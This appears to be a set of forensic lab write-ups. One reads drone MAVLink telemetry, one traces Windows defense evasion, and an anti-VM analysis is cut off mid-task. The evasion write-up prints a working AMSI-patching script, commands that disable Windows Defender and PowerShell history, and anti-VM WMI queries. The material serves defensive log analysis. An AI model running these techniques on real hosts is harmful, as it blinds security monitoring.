“Ground-station telemetry captured the staging sequence of a UAV preparing for a 9-waypoint perimeter inspection near 37.7749 N, 122.4194 W. The record begins at autopilot boot and contains the navigation, mission-preparation, and state-transition evidence needed to determine what happened during the pre-arm and mission-control phases.

The case is intentionally constrained to a single artifact, mav.tlog. Reconstruct the timeline directly from the MAVLink evidence, and be careful to separate the autopilot’s own traffic from ground-station heartbeat noise before drawing conclusions.”

Introduction and setup

The task provided me with a logfile called mav.tlog. A .tlog (telemetry log) is a binary recording of all MAVLink messages exchanged between the drone and the GCS (Ground Control Station). We must also be careful to separate the autopilot and the heartbeat traffic.

Setup. To solve the tasks I will use pymavlink, which you can read more about here. It’s basically a Python implementation of the MAVLink protocol. The MAVLink (Micro Air Vehicle Link) protocol is a header-only binary messaging protocol designed for communication between drones, ground control statios (GCS), and onboard drone components.

To begin, I installed pymavlink in a Python virtual environment:

python3 -m venv ~/venvs/mavlink
source ~/venvs/mavlink/bin/activate
python3 -m pip install pymavlink

Then I converted the log to a readable textfile:

mavlogdump.py mav.tlog > textlog.txt

Getting a basic understanding

Before I’ll attempt to solve the tasks, I want to get a basic understanding of what I’m working with. I started with looking at the mav.tlog file itself:

$ mavlogdump.py mav.tlog | less

At first, I scrolled down until this line:

2026-03-06 11:21:05.45: HEARTBEAT {type : 6, autopilot : 8, base_mode : 0, custom_mode : 0, system_status : 0, mavlink_version : 3}

According to MAVLINK Common Message Set, a HEARTBEAT shows that a system or component is present and responding. Type 6 means that it’s a Ground Control Station (GCS). Autopilot 8 means that the sender is not an autopilot.

If I understand this correctly, this means that the sender is identifying as a ground station and that the sender (according to autopilot : 8), is not an autopilot. Per my understanding, this is an example of the ground-station heartbeat “noise”.

Let’s move on.. I then scrolled down to this line:

2026-03-06 11:21:05.76: STATUSTEXT {severity : 6, text : ArduPilot Ready, id : 0, chunk_seq : 0}

According to MAVLINK Common Message Set, STATUSTEXT contains status text messages, such as “ArduPilot Ready” above. A quick Google search revealed that ArduPilot is a open source autopilot system supporting many vehicle types, including multi-copters, traditional helicopters, fixed wing aircraft, boats, submarines, rovers and more. So this is the autopilot in question.

My next step was to identify the drone itself. To do this, I simply viewed all STATUSTEXT lines in the log:

$ mavlogdump.py mav.tlog | grep "STATUSTEXT"
2026-03-06 11:21:05.24: STATUSTEXT {severity : 6, text : Barometer 1 calibration complete, id : 0, chunk_seq : 0}
2026-03-06 11:21:05.24: STATUSTEXT {severity : 6, text : Barometer 2 calibration complete, id : 0, chunk_seq : 0}
2026-03-06 11:21:05.35: STATUSTEXT {severity : 6, text : ArduCopter V4.7.0-dev (527c6bc5), id : 0, chunk_seq : 0}
2026-03-06 11:21:05.35: STATUSTEXT {severity : 6, text : 2cfc29793b6f41f4b95920d12bf1d706, id : 0, chunk_seq : 0}
2026-03-06 11:21:05.35: STATUSTEXT {severity : 6, text : Frame: QUAD/PLUS, id : 0, chunk_seq : 0}
2026-03-06 11:21:05.76: STATUSTEXT {severity : 6, text : ArduPilot Ready, id : 0, chunk_seq : 0}
(truncated)

The third line mentions ArduCopter V4.7.0-dev. This is the autopilot firmware specifically for multirotors and traditional helicopters. ArduPilot provides different firmwares depending on the vehicle, including ArduCopter, ArduPlane, ArduRover, and more.

Let’s move on to the tasks..

Task 1

“At what UTC timestamp did the drone motors successfully arm?”

According to the “Arming and Disarming” part of ArduPilot’s documentation, text messages will be sent to the GCS to indicate when arming and disarming has occurred. And based on my previous research, text messages are sent using the STATUSTEXT message set.

To find the UTC timestamp for when the drone motors successfully armed, I viewed all status texts in the log:

$ mavlogdump.py mav.tlog | grep "STATUSTEXT"
(truncated for brevity)
2026-03-06 11:21:34.67: STATUSTEXT {severity : 2, text : Arm: Need Position Estimate, id : 0, chunk_seq : 0}
2026-03-06 11:21:44.06: STATUSTEXT {severity : 2, text : PreArm: Need Position Estimate, id : 0, chunk_seq : 0}
2026-03-06 11:21:48.65: STATUSTEXT {severity : 2, text : Arm: Need Position Estimate, id : 0, chunk_seq : 0}
2026-03-06 11:21:55.23: STATUSTEXT {severity : 6, text : EKF3 IMU0 is using GPS, id : 0, chunk_seq : 0}
2026-03-06 11:21:55.23: STATUSTEXT {severity : 6, text : EKF3 IMU1 is using GPS, id : 0, chunk_seq : 0}
2026-03-06 11:22:01.66: STATUSTEXT {severity : 6, text : Arming motors, id : 0, chunk_seq : 0}
2026-03-06 11:22:03.66: STATUSTEXT {severity : 6, text : Mission: 1 Takeoff, id : 0, chunk_seq : 0}
2026-03-06 11:22:11.66: STATUSTEXT {severity : 6, text : Disarming motors, id : 0, chunk_seq : 0}
2026-03-06 11:22:11.66: STATUSTEXT {severity : 6, text : Mission: 1 Takeoff, id : 0, chunk_seq : 0}

As clearly shown above, the Arming motors text was logged at 2026-03-06 11:22:01.66. I can also see three failed arming attempts before the drone was successfully armed. Since the answer format omitts the last part, the answer for task 1 is 2026-03-16 11:22:01.

Task 2

“What flight mode was active at the moment of arming?”

On ArduPilot’s documentation, all flight modes are listed. The documentation explains that flight modes are controlled through the radio, via mission commands, or using commands from the ground station.

The autopilot can report about its current status through HEARTBEAT. According to the documentation, base_mode and custom_mode contains mode information. Additionally, the ArduPilot MAVLink documentation contains a mapping of copter flight modes for the custom_mode field of HEARTBEAT.

So, I’m looking for a HEARTBEAT entry before the drone was armed (2026-03-16 11:22:01). This heartbeat must also be from the autopilot of the drone, not the ground station. Based on this, I ran the following command:

$ mavlogdump.py --types HEARTBEAT mav.tlog | grep -v "HEARTBEAT {type : 6"

This command will only show heartbeat entries which does not come from the groundstation (-v inverts the matching: shows non-matching lines).

In the output, I scrolled until I saw the last entry before 2026-03-06 11:22:01.66:

2026-03-06 11:22:01.65: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 4, system_status : 3, mavlink_version : 3}

This line shows that the custom_mode value was set to 4 right before the drone motors were armed. According to the ArduPilot MAVLink documentation, custom_mode 4 maps to the flight mode guided.

Answer: guided

Task 3

“How many arming attempts failed before the motors successfully armed?”

Luckily, I already found the answer to this question in Task 1. By viewing all entries mentioning STATUSTEXT, we can clearly see that there was three arming attempts before the motors were successfully armed:

$ mavlogdump.py mav.tlog | grep "STATUSTEXT"
(truncated for brevity)
2026-03-06 11:21:34.67: STATUSTEXT {severity : 2, text : Arm: Need Position Estimate, id : 0, chunk_seq : 0}
2026-03-06 11:21:44.06: STATUSTEXT {severity : 2, text : PreArm: Need Position Estimate, id : 0, chunk_seq : 0}
2026-03-06 11:21:48.65: STATUSTEXT {severity : 2, text : Arm: Need Position Estimate, id : 0, chunk_seq : 0}
2026-03-06 11:21:55.23: STATUSTEXT {severity : 6, text : EKF3 IMU0 is using GPS, id : 0, chunk_seq : 0}
2026-03-06 11:21:55.23: STATUSTEXT {severity : 6, text : EKF3 IMU1 is using GPS, id : 0, chunk_seq : 0}
2026-03-06 11:22:01.66: STATUSTEXT {severity : 6, text : Arming motors, id : 0, chunk_seq : 0}
2026-03-06 11:22:03.66: STATUSTEXT {severity : 6, text : Mission: 1 Takeoff, id : 0, chunk_seq : 0}
2026-03-06 11:22:11.66: STATUSTEXT {severity : 6, text : Disarming motors, id : 0, chunk_seq : 0}
2026-03-06 11:22:11.66: STATUSTEXT {severity : 6, text : Mission: 1 Takeoff, id : 0, chunk_seq : 0}

Answer: 3

Task 4

“How many seconds elapsed from the first telemetry message to the successful arm?”

I know from task 1 that the motors were successfully armed at 2026-03-06 11:22:01. Next, to view the first telemetry messages, I simply ran:

$ mavlogdump.py mav.tlog | head
2026-03-06 11:21:04.33: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 0, system_status : 1, mavlink_version : 3}
2026-03-06 11:21:04.37: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 0, system_status : 1, mavlink_version : 3}
2026-03-06 11:21:04.44: HEARTBEAT {type : 6, autopilot : 8, base_mode : 0, custom_mode : 0, system_status : 0, mavlink_version : 3}
2026-03-06 11:21:05.24: STATUSTEXT {severity : 6, text : Barometer 1 calibration complete, id : 0, chunk_seq : 0}
2026-03-06 11:21:05.24: STATUSTEXT {severity : 6, text : Barometer 2 calibration complete, id : 0, chunk_seq : 0}
2026-03-06 11:21:05.24: PARAM_VALUE {param_id : BARO1_GND_PRESS, param_value : 101323.84375, param_type : 9, param_count : 1369, param_index : 65535}
2026-03-06 11:21:05.24: PARAM_VALUE {param_id : BARO2_GND_PRESS, param_value : 101324.4765625, param_type : 9, param_count : 1369, param_index : 65535}
2026-03-06 11:21:05.24: PARAM_VALUE {param_id : INS_GYR_ID, param_value : 2752772.0, param_type : 6, param_count : 1369, param_index : 65535}
2026-03-06 11:21:05.24: PARAM_VALUE {param_id : INS_ACC_ID, param_value : 2753028.0, param_type : 6, param_count : 1369, param_index : 65535}
2026-03-06 11:21:05.24: PARAM_VALUE {param_id : INS_GYR2_ID, param_value : 2752780.0, param_type : 6, param_count : 1369, param_index : 65535}

Above we see that the first telemetry message was logged at 2026-03-06 11:21:04.33. This is a difference of 57 seconds.

Answer: 57

Task 5

“How many distinct autopilot flight modes appear in the telemetry log?”

I already know that the flight modes are set through the custom_mode field. In other words, I must simply count all distinct values of the custom_mode field where the sender is the drone. In Task 2, I identified the drone as type : 2, autopilot : 3. Based on this, I ran the following command:

$ mavlogdump.py --types HEARTBEAT mav.tlog \
> | grep "HEARTBEAT {type : 2, autopilot : 3," \
> | grep -oE 'custom_mode : [0-9]+' \
> | sort -u

This command will first look for heartbeat entries from the drone (type : 2, autopilot : 3). Then it will extract the custom_mode and its value. Lastly, the sort -u removes all dubplicates. The command got the following result:

custom_mode : 0
custom_mode : 3
custom_mode : 4
custom_mode : 5
custom_mode : 6

This means that the modes 0 (STABILIZE), 3 (AUTO), 4 (GUIDED), 5 (LOITER) and 6 (RTL) appears in the telemetry logs. That’s five distinct autopilot flight modes.

Answer: 5

Task 6

“At what UTC timestamp was the flight plan received?”

I was not able to find a source that explains where and how the flightplan gets received. Therefore, I started with a simple grep-based search:

$ mavlogdump.py mav.tlog | grep "plan"
2026-03-06 11:21:24.64: STATUSTEXT {severity : 6, text : Flight plan received, id : 0, chunk_seq : 0}

Luckily, there was only one entry in the log that contained the string “plan” — and this is the entry for Flight plan received at 2026-03-06 11:21:24.64.

Answer: 2026-03-06 11:21:24

Task 7

“How many seconds elapsed from flight-plan receipt to the successful arm?”

I know from task 1 that the motors were successfully armed at 2026-03-06 11:22:01. From the previous task, I know that the flight plan was received at 2026-03-06 11:21:24. Simple math: 37 seconds elapsed.

Answer: 37

Task 8

“At what UTC timestamp did “EKF3 IMU0 is using GPS” first appear?”

To find when the string EKF3 IMU0 is using GPS first appeared in the logs, I simply did a grep-based search:

$ mavlogdump.py mav.tlog | grep "EKF3 IMU0 is using GPS"
2026-03-06 11:21:55.23: STATUSTEXT {severity : 6, text : EKF3 IMU0 is using GPS, id : 0, chunk_seq : 0}

This resulted in only one entry containing the string, which happened at 2026-03-06 11:21:55.23.

Answer: 2026-03-06 11:21:55

Task 9

“How many seconds elapsed from “EKF3 IMU0 origin set” to the successful arm?”

I know from task 1 that the motors were successfully armed at 2026-03-06 11:22:01. To find when the string EKF3 IMU0 origin set was first mentioned in the logs, I did the following grep-based search:

$ mavlogdump.py mav.tlog | grep "EKF3 IMU0 origin set"
2026-03-06 11:21:30.02: STATUSTEXT {severity : 6, text : EKF3 IMU0 origin set, id : 0, chunk_seq : 0}

The string was first mentioned at 2026-03-06 11:21:30.02. Simple math: 31 seconds elapsed from the string was mentioned in the logs to the successful arm.

Answer: 31

Task 10

“At what UTC timestamp did the autopilot first switch to LOITER?”

Based on the list of copter modes, the custom_mode value for LOITER is 5. To find when the autopilot first switched to LOITER, I did the following grep-based search:

$ mavlogdump.py --types HEARTBEAT mav.tlog | grep "custom_mode : 5"
2026-03-06 11:27:35.12: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}
2026-03-06 11:27:35.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}
2026-03-06 11:27:36.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}
2026-03-06 11:27:37.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}
2026-03-06 11:27:38.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}
2026-03-06 11:27:39.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}
2026-03-06 11:27:40.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}
2026-03-06 11:27:41.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}
2026-03-06 11:27:42.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}
2026-03-06 11:27:43.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}
2026-03-06 11:27:44.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}
2026-03-06 11:27:45.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}
2026-03-06 11:27:46.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}

All of these entries have type : 2, autopilot : 3 meaning that it’s heartbeat entries from the drone. In other words, all of these entries shows when the autopilot switched to custom_mode 5. The first entry is at 2026-03-06 11:27:35.12.

Answer: 2026-03-06 11:27:35

Task 11

“At what UTC timestamp did the autopilot first switch to RTL?”

Based on the list of copter modes, the custom_mode value for RTL is 6. To find when the autopilot first switched to RTL, I did the following grep-based search:

$ mavlogdump.py --types HEARTBEAT mav.tlog | grep "custom_mode : 6"
2026-03-06 11:27:47.13: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 6, system_status : 3, mavlink_version : 3}
2026-03-06 11:27:47.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 81, custom_mode : 6, system_status : 3, mavlink_version : 3}
2026-03-06 11:27:48.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 81, custom_mode : 6, system_status : 3, mavlink_version : 3}
2026-03-06 11:27:49.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 81, custom_mode : 6, system_status : 3, mavlink_version : 3}
2026-03-06 11:27:50.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 81, custom_mode : 6, system_status : 3, mavlink_version : 3}
(truncated)

All of these entries have type : 2, autopilot : 3 meaning that it’s heartbeat entries from the drone. In other words, all of these entries shows when the autopilot switched to custom_mode 6. The first entry is at 2026-03-06 11:27:47.13.

Answer: 2026-03-06 11:27:47

Task 12

“How many seconds elapsed between the first LOITER HEARTBEAT and the first RTL HEARTBEAT?”

Based on the two previous tasks, I know that the first LOITER HEARTBEAT was at 2026-03-06 11:27:35.12 and that the first RTL HEARTBEAT was at 2026-03-06 11:27:47.13. Simple math: 12 seconds elapsed.

Answer: 12

Task 13

“What GPS fix_type was the receiver reporting at the moment the motors armed?”

According to MAVLINK Common Message Set, the GPS_RAW_INT contains the fix_type field. This field contains values of the GPS_FIX_TYPE, which can be any of the following:

To find what the GPS fix_type the receiver was reporting at the moment the motors armed, I simply ran the following command:

$ mavlogdump.py --types GPS_RAW_INT mav.tlog 

The output was quite long, so I scrolled until I saw a timestamp right before 2026-03-06 11:22:01.66. As you can see below, fix_type was set to 6 just 30 milliseconds before the motors were armed.

This means that the fix_type was set to GPS_FIX_TYPE_RTK_FIXED, which has the description RTK Fixed, 3D position.

Answer: 6

The End

If you got this far, thanks for reading! I hope it provided you with some value, at least I learned a lot. I assume that my write-up contains some unnuanced statements and explanations, so please excuse me. This is the very first time I have worked on something like this.

Task description

Byte Doctor Reyes is investigating a stealthy post-breach attack where several expected security logs and Windows Defender alerts appear to be missing. He suspects the attacker employed defense evasion techniques to disable or manipulate security controls, significantly complicating detection efforts.

Using the exported event logs, your objective is to uncover how the attacker compromised the system’s defenses to remain undetected.

I will use EVTX Viewer to solve the tasks.

Task 1

“The attacker disabled LSA protection on the compromised host by modifying a registry key. What is the full path of that registry key?”

According to netwrix, LSA (Local Security Authority) controls and manages user rights information, password hashes and other important information in memory. LSA protection prevents non-protected processes from accessing that data. To be considered a protected process, the process must, among other things, have a verified signature from Microsoft.

According to MITRE ATT&CK, the relevant event IDs for registry key modification is 4657 in Windows Event Logs, and 13 and 14 in Sysmon logs. Sysmon Event ID 13 records changes to the registry values, while Sysmon Event ID 14 records renaming of registry keys.

Based on this, I applied the filter event_id:13 lsa on the Microsoft-Windows-Sysmon-Operational.evtx logfile. This will only show changes to registry values where the string “lsa” is mentioned. This resulted in 5 events:

These events modified the following registry values in order:

• HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe\AuditLevel
• HKLM\System\CurrentControlSet\Control\Lsa\RunAsPPLBoot
• HKLM\System\CurrentControlSet\Control\Lsa\LsaCfgFlagsDefault
• HKLM\System\CurrentControlSet\Control\Lsa\ProductType
• HKLM\System\CurrentControlSet\Control\Lsa\RunAsPPL

According to the article by netwrix, you must set the value of RunAsPPL to “1” to enable LSA protection. For this task, it’s important to remember the distinction between registry keys and values. Keys are the folder, i.e. HKLM\System\CurrentControlSet\Control\Lsa, while registry values are the settings themselves (i.e. RunAsPPL).

Answer: \HKLM\System\CurrentControlSet\Control\LSA

Task 2

“Which PowerShell command did the attacker first execute to disable Windows Defender?”

This article by Pentest Everything describes disabling and bypassing Windows Defenser for defense evasion. It lists 9 different commands to disable different parts of Windows Defender, all of which starts with Set-MPPreference.

To solve this task, I used the filter event_id:4104 Set-MPPreferenceon the Microsoft-Windows-Powershell-Operational.evtx log file. Why event ID 4104? Because this event is logged whenever a script is run through PowerShell. This resulted in a total of 5 events:

The first command the attacker executed was:

Set-MpPreference -DisableIOAVProtection $true -DisableEmailScanning $true -DisableBlockAtFirstSeen $true

This means that the attacker disabled scanning for downloaded files or attachment, as well as email scanning. Lastly, the attacker disabled “Block At First Seen” which normally detects and blocks new malware within seconds.

Answer: Set-MpPreference -DisableIOAVProtection $true -DisableEmailScanning $true -DisableBlockAtFirstSeen $true

Task 3

“The attacker loaded an AMSI patch written in PowerShell. Which function in the DLL is being patched by the script to effectively disable AMSI?”

According to this article by R1cH4t, AMSI (Antimalware Scan Interface) ensures that any antivirus that you have installed can scan scripts and code before it executes. This resulted in better detection of fileless malware and malicious scripts, however, attackers have developed bypass techniques.

To solve this task, I used the filter event_id:4104 dllon the Microsoft-Windows-Powershell-Operational.evtx log file. I used event ID 4104 to only see script execution, and added the “dll” filter to only see commands involving/mentioning DLL. This resulted in two events:

These two events contains the exact same value in the ScriptBlockText field:

function Disable-Protection {
    $k = @"
using System;
using System.Runtime.InteropServices;

public class P
{
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetProcAddress(
        IntPtr hModule,
        string procName
    );

    [DllImport("kernel32.dll")]
    public static extern IntPtr GetModuleHandle(
        string lpModuleName
    );

    [DllImport("kernel32.dll")]
    public static extern bool VirtualProtect(
        IntPtr lpAddress,
        UIntPtr dwSize,
        uint flNewProtect,
        out uint lpflOldProtect
    );

    public static bool Patch()
    {
        IntPtr h = GetModuleHandle(
            "a" + "m" + "s" + "i" + ".dll"
        );

        if (h == IntPtr.Zero)
            return false;

        IntPtr a = GetProcAddress(
            h,
            "A" + "m" + "s" + "i" +
            "S" + "c" + "a" + "n" +
            "B" + "u" + "f" + "f" + "e" + "r"
        );

        if (a == IntPtr.Zero)
            return false;

        UInt32 oldProtect;

        if (!VirtualProtect(a, (UIntPtr)5, 0x40, out oldProtect))
            return false;

        byte[] patch = { 0x31, 0xC0, 0xC3 };

        Marshal.Copy(patch, 0, a, patch.Length);

        return VirtualProtect(
            a,
            (UIntPtr)5,
            oldProtect,
            out oldProtect
        );
    }
}
"@

    Add-Type -TypeDefinition $k

    $result = [P]::Patch()

    if ($result) {
        Write-Output "Protection Disabled"
    }
    else {
        Write-Output "Failed to Disable Protection"
    }
}

This function tries to bypass AMSI by finding AmsiScanBuffer in amsi.dll and overwriting the first instructions in memory. To sum up: the attacker created a function to bypass AMSI at 04/10/2025 06:37:47.960.

The next step is to see if this function was ever called. I applied the filter event_id:4104 "Disable-Protection". This resulted in the three events, two of which is the ones I saw earlier.

The new event contained Disable-Protection in the ScriptBlockText field, meaning that the function was called. This happened at 04/10/2025 06:37:49.836, nearly two seconds after the function was created.

The last step is to find the result — was the attacker successful in bypassing AMSI? For this, I applied the filter event_id:4103 "Protection Disabled". This resulted in two events:

Both of these events happened simultaneously, at 04/10/2025 06:37:50.700. One of these invoked Write-Output with the value Protection Disabled, which confirms that the $result variable in the function was set to true and that the AMSI bypass was succesful. The second one invoked Out-Default, meaning that the message Protection Disabled was displayed.

Now that I have the timeline of the AMSI bypass, I conclude that the function in the DLL that is being patched to disable AMSI is AmsiScanBuffer.

Answer: AmsiScanBuffer

Task 4

“Which command did the attacker use to restart the machine in Safe Mode?”

To solve this, I applied the filter event_id:4104 on the Microsoft-Windows-Powershell-Operational.evtx log file. I then sorted the events based on date and time, and looked at the events after 04/10/2025 06:37:50.700. Luckily, there was only six events after that:

Out of these events, only one contains content in ScriptBlockText that seems relevant for this task:

As we can clearly see, the command bcdedit /set safeboot network was run at 04/10/2025 06:38:35.402. The command uses BCDEdit to configure Windows to start in safe mode with network access upon the next restart.

BCDEdit, or Boot Configuration Data Edit, is a command-line tool for managing BCD files, which is used to describe boot applications and boot application settings. This article by ninjaOne describes that it can be used to enable Safe Mode.

However, as far as I know, you cannot use BCDEdit itself to restart the computer. ChatGPT and Gemini also supports this.

Additionally, the only other command executed after this is Set-PSReadlineOption -HistorySaveStyle SaveNothing. This only disables the storage of PowerShell command history for the current session, and has nothing to do with rebooting.

I was a bit stuck here, as the only command that seems relevant is bcdedit /set safeboot network, however this is not an accepted answer. No other commands that I can find seems relevant.

Therefore, I opened the official write-up, where I saw that this is the correct answer — we just need to use the file extension .exe. This also matches the answer pattern for the task, but guessing just feels wrong.

I still think that is not the correct answer, since (as far as I know) BCDEdit cannot be used to restart the computer. This is the command that makes the computer boot in safe mode after the next restart, though the command itself does not restart the computer. Microsoft themselves says that you must restart the computer for the change to take effect.

Answer: bcdedit.exe /set safeboot network

Task 5

“Which PowerShell command did the attacker use to disable PowerShell command history logging?”

I already found this when looking for the command used to restart the computer in safe mode. The event at 04/10/2025 06:38:43.549 included the following content in ScriptBlockText:

Set-PSReadlineOption -HistorySaveStyle SaveNothing

This command disables the storage of PowerShell command history for the current session.

Answer: Set-PSReadlineOption -HistorySaveStyle SaveNothing

“Talion suspects that the threat actor carried out anti-virtualization checks to avoid detection in sandboxed environments. Your task is to analyze the event logs and identify the specific techniques used for virtualization detection. Byte Doctor requires evidence of the registry checks or processes the attacker executed to perform these checks.”

The task provided me with two files:

• Microsoft-Windows-Powershell.evtx
• Windows-Powershell-Operational.evtx

To view the evtx files, I will use EVTX Viewer.

Introduction — Anti-virtualization

Anti-virtualization, also known as “anti-VM” is a technique used by malware to detect whether it is running inside a virtual machine or sandbox. If the malware detects a VM-environment or sandbox it may shut down and act harmless to avoid both detection and analysis.

The malware will usually check for monitoring tools (such as Sysinternals and Wireshark). MITRE ATT&CK lists three sub-techniques for virtualization and sandbox evasion:

• System Checks
• User Activity Based Checks
• Time Based Checks

These sub-techniques are three categories of tests the malware may perform to identify a virtualization or analysis environment. In short, the malware may check for security monitoring tools, system artifacts, legitimate user activity, and more.

Task 1

“Which WMI class did the attacker use to retrieve model and manufacturer information for virtualization detection?”

First, I must get a basic understanding of VMI:

WMI, or Windows Management Instrumentation, is the infrastructure for management data and operations on Windows. WMI uses the CIM (Common Information Model) standard to represent systems, applications, networks, devices, and other managemed components.

WMI uses four different categories of classes. System Classes provides basic functionality and always starts with a double underscore (__). MSFT Classes offers means to manipulate OS features. CIM Classes are CIM schema classes, and you can write classes that inherit from these classes. Standard Consumer Classes triggers an action based on an event. You can read more about the classes here.

To find the relevant WMI class, I started with a simple Google search: “wmi class model and manufacturer”. This lead me to the website “WMI classes and categories” by Windows Active Directory. Here it says that the class Win32_ComputerSystem contains general properties such as manufacturer, model, roles, and more.

With this in mind, I opened Microsoft-Windows-Powershell.evtx in EVTX Viewer and entered “Win32_ComputerSystem” as the filter:

Both of these events has the Event ID 800, which provides details about commands executed with PowerShell. These events are 130ms apart.

The first one, at 09:19:10.172, extracts the manufacturer:

["$Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \"Manufacturer\"","\tDetailSequence=1\r\n\tDetailTotal=1\r\n\r\n\tSequenceNumber=19\r\n\r\n\tUserId=DESKTOP-M3AKJSD\\User\r\n\tHostName=ConsoleHost\r\n\tHostVersion=5.1.26100.2161\r\n\tHostId=0fad0cf8-6cb6-4657-86f7-655ec22eed9f\r\n\tHostApplication=C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\r\n\tEngineVersion=5.1.26100.2161\r\n\tRunspaceId=2aeeba59-d0f6-4ce7-b41c-e07625b3beec\r\n\tPipelineId=5\r\n\tScriptName=\r\n\tCommandLine=$Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \"Manufacturer\"","CommandInvocation(Get-WmiObject): \"Get-WmiObject\"\r\nParameterBinding(Get-WmiObject): name=\"Class\"; value=\"Win32_ComputerSystem\"\r\nCommandInvocation(Select-Object): \"Select-Object\"\r\nParameterBinding(Select-Object): name=\"ExpandProperty\"; value=\"Manufacturer\"\r\nParameterBinding(Select-Object): name=\"InputObject\"; value=\"\\\\DESKTOP-M3AKJSD\\root\\cimv2:Win32_ComputerSystem.Name=\"DESKTOP-M3AKJSD\"\"\r\n"]

The second one, at 09:19:10.302, extracts the model:

["$Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \"Model\"","\tDetailSequence=1\r\n\tDetailTotal=1\r\n\r\n\tSequenceNumber=27\r\n\r\n\tUserId=DESKTOP-M3AKJSD\\User\r\n\tHostName=ConsoleHost\r\n\tHostVersion=5.1.26100.2161\r\n\tHostId=0fad0cf8-6cb6-4657-86f7-655ec22eed9f\r\n\tHostApplication=C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\r\n\tEngineVersion=5.1.26100.2161\r\n\tRunspaceId=2aeeba59-d0f6-4ce7-b41c-e07625b3beec\r\n\tPipelineId=10\r\n\tScriptName=\r\n\tCommandLine=$Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \"Model\"","CommandInvocation(Get-WmiObject): \"Get-WmiObject\"\r\nParameterBinding(Get-WmiObject): name=\"Class\"; value=\"Win32_ComputerSystem\"\r\nCommandInvocation(Select-Object): \"Select-Object\"\r\nParameterBinding(Select-Object): name=\"ExpandProperty\"; value=\"Model\"\r\nParameterBinding(Select-Object): name=\"InputObject\"; value=\"\\\\DESKTOP-M3AKJSD\\root\\cimv2:Win32_ComputerSystem.Name=\"DESKTOP-M3AKJSD\"\"\r\n"]

With this, we can conclude that the attacker used the WMI class Win32_ComputerSystem to retrieve the model and manufacturer.

Answer: Win32_ComputerSystem

Task 2

“Which WMI query did the attacker execute to retrieve the current temperature value of the machine?”

A Google search of relevant classes lead me this Medium-article. It says that the WMI class Win32_TemperatureProbe represents the properties of a temperature sensor. Moreover, it shows the following command to retrieve the current temperature of the machine:

The article describes this as an anti-VM technique, because “MSAcpi_ThermalZoneTemperature” is not supported on virtualized processors. Based on this, I opened Microsoft-Windows-Powershell.evtx in EVTX Viewer and entered “MSAcpi_ThermalZoneTemperature” as the filter:

This resulted in only one event, with Event ID 800 — which makes sense. Below you can see that a WCL (WMI Query Language) query was run, where “MSAcpi_ThermalZoneTemperature” was queried.

["Get-WmiObject -Query \"SELECT * FROM MSAcpi_ThermalZoneTemperature\" -ErrorAction SilentlyContinue","\tDetailSequence=1\r\n\tDetailTotal=1\r\n\r\n\tSequenceNumber=53\r\n\r\n\tUserId=DESKTOP-M3AKJSD\\User\r\n\tHostName=ConsoleHost\r\n\tHostVersion=5.1.26100.2161\r\n\tHostId=0fad0cf8-6cb6-4657-86f7-655ec22eed9f\r\n\tHostApplication=C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\r\n\tEngineVersion=5.1.26100.2161\r\n\tRunspaceId=2aeeba59-d0f6-4ce7-b41c-e07625b3beec\r\n\tPipelineId=21\r\n\tScriptName=\r\n\tCommandLine=Get-WmiObject -Query \"SELECT * FROM MSAcpi_ThermalZoneTemperature\" -ErrorAction SilentlyContinue","CommandInvocation(Get-WmiObject): \"Get-WmiObject\"\r\nParameterBinding(Get-WmiObject): name=\"Query\"; value=\"SELECT * FROM MSAcpi_ThermalZoneTemperature\"\r\nParameterBinding(Get-WmiObject): name=\"ErrorAction\"; value=\"SilentlyContinue\"\r\nNonTerminatingError(Get-WmiObject): 
\"Invalid class \"MSAcpi_ThermalZoneTemperature\"\"\r\n"]

Above we can see the query used to retrieve the current temperature: SELECT * FROM MSAcpi_ThermalZoneTemperature.

Answer: SELECT * FROM MSAcpi_ThermalZoneTemperature.

Task 3

“The attacker loaded a PowerShell script to detect virtualization. What is the function name of the script?”

